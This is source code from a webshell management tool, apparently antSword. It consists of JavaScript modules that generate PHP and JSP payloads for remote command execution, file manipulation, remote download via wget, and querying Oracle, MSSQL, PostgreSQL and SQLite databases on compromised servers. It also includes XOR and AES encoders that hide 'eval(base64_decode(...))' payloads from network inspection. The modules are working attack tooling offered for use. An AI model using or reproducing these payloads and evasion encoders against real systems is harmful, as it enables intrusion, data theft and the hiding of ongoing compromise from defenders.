echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\\t|\\t\\r\\n");
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
$sql="SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='{$dbn}' AND TABLE_NAME='{$tab}' ORDER BY COLUMN_ID";
$chs="utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)){
$n=@oci_fetch_all($q,$res,0,-1,OCI_FETCHSTATEMENT_BY_ROW+OCI_NUM);
if($n==0){
echo("ERROR://Table has no columns or no privilege");
}else{
for($i=0;$i<$n;$i++){
$row=$res[$i];
echo(trim($row[0])." (".$row[1]."(".$row[2]."))".chr(9));
}
}
}else{
echo("Status\\t|\\t\\r\\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\\t|\\t\\r\\n");
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
$chs=base64_decode("#{base64::encode}");
$chs=$chs?$chs:"utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)) {
$n=oci_num_fields($q);
if($n==0){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode(@oci_num_rows($q))."\\t|\\t\\r\\n");
}else{
for($i=1;$i<=$n;$i++){
echo(oci_field_name($q,$i)."\\t|\\t");
}
echo "\\r\\n";
while ($row = @oci_fetch_array($q, OCI_ASSOC+OCI_RETURN_NULLS)) {
foreach ($row as $item) {
echo($item !== null ? base64_encode($item):"")."\\t|\\t";
}
echo "\\r\\n";
}
@oci_free_statement($q);
}
}else{
echo("Status\\t|\\t\\r\\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\\t|\\t\\r\\n");
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@oci_close($H);
}`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/oracle_oci8.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,574 |
```javascript
/**
* ::mssql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$T=@mssql_connect($hst,$usr,$pwd);
$q=@mssql_query("select [name] from master.dbo.sysdatabases order by 1",$T);
while($rs=@mssql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query("SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1",$T);
while($rs=@mssql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query("SELECT TOP 1 * FROM {$tab}",$T);
while($rs=@mssql_fetch_field($q)){
echo(trim($rs->name)." ({$rs->type}({$rs->max_length}))".chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query($sql,$T);
if(is_bool($q)){
echo("Status\\t|\\tAffect Rows\\t|\\t\\r\\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\\t|\\t".base64_encode(@mssql_rows_affected($T)." row(s)")."\\t|\\t\\r\\n");
}else{
$i=0;
while($rs=@mssql_fetch_field($q)){
echo($rs->name."\\t|\\t");
$i++;
}
echo("\\r\\n");
while($rs=@mssql_fetch_row($q)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\\t|\\t");
}
echo("\\r\\n");
}
@mssql_free_result($q);
}
@mssql_close($T);`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/mssql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 885 |
```javascript
/**
* ::postgresql
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
list($host,$port,$dbn) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$dbn == "" ? $dbn = "postgres" : $dbn;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT datname FROM pg_database where datistemplate='f';");
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');");
if(!q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT column_name,udt_name,character_maximum_length FROM information_schema. COLUMNS WHERE TABLE_NAME = '{$tab}';");
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
$len=$rs[2]?$rs[2]:"0";
echo(trim($rs[0])." ({$rs[1]}({$len}))".chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
$encode=base64_decode("#{base64::encode}");
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T, $sql);
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
$n=@pg_num_fields($q);
if($n===NULL){
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://".@pg_last_error())."\\t|\\t\\r\\n");
}elseif($n===0){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode(@pg_affected_rows($q))."\\t|\\t\\r\\n");
}else{
for($i=0;$i<$n;$i++){
echo(@pg_field_name($q,$i)."\\t|\\t");
}
echo "\\r\\n";
while($row=@pg_fetch_row($q)){
for($i=0;$i<$n;$i++){
echo(base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/postgresql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,515 |
```javascript
'use strict'
module.exports = (pwd, data, ext = null) => {
//
data[pwd] = Buffer.from(data['_']).toString("hex");
delete data['_'];
//
return data;
}
``` | /content/code_sandbox/source/core/phpraw/encoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 49 |
```javascript
/**
* :: sqlite3 pdo
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR:// CONNECT ERROR");
}else{
echo("main".chr(9));
$dbh=null;
}`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$hst=base64_decode("#{base64::host}");
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR:// CONNECT ERROR");
}else{
$query="select tbl_name from sqlite_master where type='table' order by tbl_name;";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['tbl_name']).chr(9));
}
$dbh=null;
}`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$hst=base64_decode("#{base64::host}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR:// CONNECT ERROR");
}else{
$query="pragma table_info('{$tab}');";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['name'])." ({$res['type']})".chr(9));
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$hst=base64_decode("#{base64::host}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
$encode=base64_decode("#{base64::encode}");
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR:// CONNECT ERROR");
}else{
$result=$dbh->prepare($sql);
if(!$result->execute()){
echo("Status\\t|\\t\\r\\n");
$err="";
foreach(@$result->errorInfo() as $v){
$err.=$v." ";
}
echo(base64_encode("ERROR://".$err)."\\t|\\t\\r\\n");
}else{
$bool=True;
while($res=$result->fetch(PDO::FETCH_ASSOC)){
if($bool){
foreach($res as $key=>$value){
echo($key."\\t|\\t");
}
echo "\\r\\n";
$bool=False;
}
foreach($res as $key=>$value){
echo(base64_encode($value!==NULL?$value:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
if($bool){
if(!$result->columnCount()){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($result->rowCount())."\\t|\\t\\r\\n");
}else{
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://Table is empty.")."\\t|\\t\\r\\n");
}
}
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/sqlite_pdo.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 844 |
```javascript
/**
* php:: behinder XOR , openssl
* Create at: 2021/01/10 01:10:53
*
*/
'use strict';
var CryptoJS = require('crypto-js');
/*
* @param {String} pwd
* @param {Array} data payload
* @return {Array} data payload
*/
module.exports = (pwd, data, ext={}) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
let dataarr = Buffer.from(`${randomID}|@eval(base64_decode("${Buffer.from(data['_']).toString("base64")}"));`);
let keyarr = Buffer.from(CryptoJS.MD5(pwd).toString().substr(0,16));
for (let i = 0; i < dataarr.length; i++) {
dataarr[i] = dataarr[i] ^ keyarr[i + 1 & 15];
}
data[pwd] = dataarr.toString("base64");
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/phpraw/encoder/behinder3xor.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 283 |
```javascript
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/phpraw/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 44 |
```javascript
/**
* php:: behinder AES
* Create at: 2021/01/10 01:10:53
*
*/
'use strict';
var CryptoJS = require('crypto-js');
function decryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7,
iv: CryptoJS.enc.Utf8.parse(Buffer.alloc(16)),
}).toString(CryptoJS.enc.Utf8);
return decodetext;
}
function encryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7,
iv: CryptoJS.enc.Utf8.parse(Buffer.alloc(16)),
}).toString();
return encodetext;
}
/*
* @param {String} pwd
* @param {Array} data payload
* @return {Array} data payload
*/
module.exports = (pwd, data, ext={}) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
let key = CryptoJS.MD5(pwd).toString().substr(0,16);
data[pwd] = encryptText(key, `${randomID}|@eval(base64_decode("${Buffer.from(data['_']).toString("base64")}"));`);
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/phpraw/encoder/behinder3.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 447 |
```javascript
/**
* CUSTOM
* 2016/04/12
* -
* <path_to_url
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class CUSTOM extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/sqlserver',
'database/mysql',
'database/oracle'
].map((_) => {
this.parseTemplate(`./custom/template/${_}`);
});
//
this
.encoders
.map((_) => {
this.parseEncoder(`./custom/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./custom/decoder/${_}`);
});
}
/**
*
* @return {array}
*/
get encoders() {
return ['base64', 'hex'];
}
get decoders() {
return ['default', 'base64', 'hex', 'hex_base64'];
}
/**
* HTTP
* @param {Object} data
* @return {Promise} Promise
*/
complete(data, force_default = false) {
//
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = "|<-";
}
//
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = CUSTOM;
``` | /content/code_sandbox/source/core/custom/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 475 |
```javascript
/**
* CUSTOM::hex_base64
* hex(base64) base64 , hex
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
* asenc
* shell
*/
asoutput: () => {
return ''; // , asenc CUSTOM
},
/**
* Buffer
* @param {string} data Buffer
* @returns {string} Buffer
*/
decode_buff: (data, ext = {}) => {
return Buffer.from(Buffer.from(data.toString(), 'hex').toString(), 'base64');
}
}
``` | /content/code_sandbox/source/core/custom/decoder/hex_base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 155 |
```javascript
/**
* CUSTOM::hex
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
* asenc
* shell
*/
asoutput: () => {
return ''; // , asenc CUSTOM
},
/**
* Buffer
* @param {string} data Buffer
* @returns {string} Buffer
*/
decode_buff: (data, ext = {}) => {
return Buffer.from(data.toString(), 'hex');
}
}
``` | /content/code_sandbox/source/core/custom/decoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 133 |
```javascript
/**
* CUSTOM::base64
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
* asenc
* shell
*/
asoutput: () => {
return ''; // , asenc CUSTOM
},
/**
* Buffer
* @param {string} data Buffer
* @returns {string} Buffer
*/
decode_buff: (data, ext = {}) => {
return Buffer.from(data.toString(), 'base64');
}
}
``` | /content/code_sandbox/source/core/custom/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 135 |
```javascript
//
//
//
module.exports = () => ({
exec: {
_: 'M',
'z1': '#{bin}',
'z2': '#{cmd}',
'z3': '#{env}'
},
listcmd: {
_: 'Y',
'z1': '#{binarr}'
}
})
``` | /content/code_sandbox/source/core/custom/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 68 |
```javascript
//
//
//
//
module.exports = () => ({
info: 'A',
probedb: 'Z', //
})
``` | /content/code_sandbox/source/core/custom/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 30 |
```javascript
//
//
//
module.exports = () => ({
dir: {
_: 'B',
'z1': '#{path}'
},
delete: {
_: 'E',
'z1': '#{path}'
},
create_file: {
_: 'D',
'z1': '#{path}',
'z2': '#{content}'
},
read_file: {
_: 'C',
'z1': '#{path}'
},
copy: {
_: 'H',
'z1': '#{path}',
'z2': '#{target}'
},
download_file: {
_: 'F',
'z1': '#{path}'
},
upload_file: {
_: 'U',
'z1': '#{path}',
'z2': '#{buffer::content}'
},
rename: {
_: 'I',
'z1': '#{path}',
'z2': '#{name}'
},
retime: {
_: 'K',
'z1': '#{path}',
'z2': '#{time}'
},
mkdir: {
_: 'J',
'z1': '#{path}'
},
wget: {
_: 'L',
'z1': '#{url}',
'z2': '#{path}'
},
filehash: {
_: 'G',
'z1': '#{path}',
},
})
``` | /content/code_sandbox/source/core/custom/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 296 |
```javascript
/*
<T>XDB</T>
<X>
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:user/password@127.0.0.1:1521/test
</X>
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/custom/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 48 |
```javascript
/*
<T>XDB</T>
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/custom/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 40 |
```javascript
//
//
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = () => ({
show_databases: {
_: 'N',
'z0': '#{encode}',
'z1': '#{conn}'
},
show_tables: {
_: 'O',
'z0': '#{encode}',
'z1': '#{conn}',
'z2': '#{db}'
},
show_columns: {
_: 'P',
'z0': '#{encode}',
'z1': '#{conn}',
'z2': '#{db}',
'z3': '#{table}'
},
query: {
_: 'Q',
'z0': '#{encode}',
'z1': '#{conn}',
'z2': '#{sql}'
}
})
``` | /content/code_sandbox/source/core/custom/template/database/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 185 |
```javascript
/*
<T>XDB</T>
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
</X>
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/custom/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 59 |
```javascript
//
// 16
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('hex');
}
ret[pwd] = data['_'];
return ret;
}
``` | /content/code_sandbox/source/core/custom/encoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 85 |
```javascript
/**
* CUSTOM::default
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (data) => {
return data;
}
}
``` | /content/code_sandbox/source/core/custom/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 52 |
```javascript
//
// custom::base64
//
// :base64
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('base64');
}
ret[pwd] = data['_'];
return ret;
}
``` | /content/code_sandbox/source/core/custom/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 94 |
```javascript
/**
* jspjs::reverse
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc(str){
var h = "0123456789ABCDEF";
var bytes = str.getBytes(cs);
var sb = new StringBuilder(bytes.length * 2);
for (var i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
return sb.toString();
}
`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'hex');
}
}
``` | /content/code_sandbox/source/core/jspjs/decoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 201 |
```javascript
/**
* php::default
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc(str){
return str;
}
`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
return buff;
}
}
``` | /content/code_sandbox/source/core/jspjs/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 108 |
```javascript
/**
* JSPJS
* 2021/04/06
* -
* yzddMr6 <path_to_url
*/
'use strict';
const Base = require('../base');
class JSPJS extends Base {
static get supportRawBody() {
return true;
}
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/sqlserver',
'database/mysql',
'database/oracle'
].map((_) => {
this.parseTemplate(`./jspjs/template/${_}`);
});
//
this
.encoders
.map((_) => {
this.parseEncoder(`./jspjs/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./jspjs/decoder/${_}`);
});
}
/**
*
* ? antSword.core.php.prototype.encoders
* @return {array}
*/
get encoders() {
return ["spelbase64", "el", "ognl"];
}
get decoders() {
return ["default", "base64", "hex", "b64reverse", "b64rot13"];
}
/**
* HTTP
* @param {Object} data
* @param {bool} force_default default
* @return {Promise} Promise
*/
complete(data, force_default = false) {
//
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
}
let jspencode = this.__opts__['encode'];
switch (this.__opts__['encode']) {
case "UTF8":
jspencode = "UTF-8";
break;
default:
break;
}
let asencCode;
let ext = {
opts: this.__opts__,
};
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);
} else {
asencCode = this.__decoder__['default'].asoutput(ext);
}
//
let tmpCode = data['_'];
data['_'] = `
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "${jspencode}";
var tag_s = "${tag_s.substr(0,tag_s.length/2)}"+"${tag_s.substr(tag_s.length/2)}";
var tag_e = "${tag_e.substr(0,tag_e.length/2)}"+"${tag_e.substr(tag_e.length/2)}";
try {
function decode(str) {
str = str.substr(#randomPrefix#);
var bt=Base64DecodeToByte(str);
return new java.lang.String(bt,cs);
}
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
${asencCode}
${tmpCode}
} catch (e) {
output.append("ERROR:// " + e.toString());
}
var result=tag_s + asenc(output.toString()) + tag_e;
try {
response.getWriter().print(result);
} catch (e) {
result;
}
`.replace(/\n\s+/g, '').replace(/#randomPrefix#/g, this.__opts__.otherConf["random-Prefix"]);
//
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = JSPJS;
``` | /content/code_sandbox/source/core/jspjs/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,049 |
```javascript
/**
* jspjs::b64reverse
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc(str){
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return new StringBuffer(ret).reverse();
}
`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
return Buffer.from(Buffer.from(buff).reverse().toString(), 'base64');
}
}
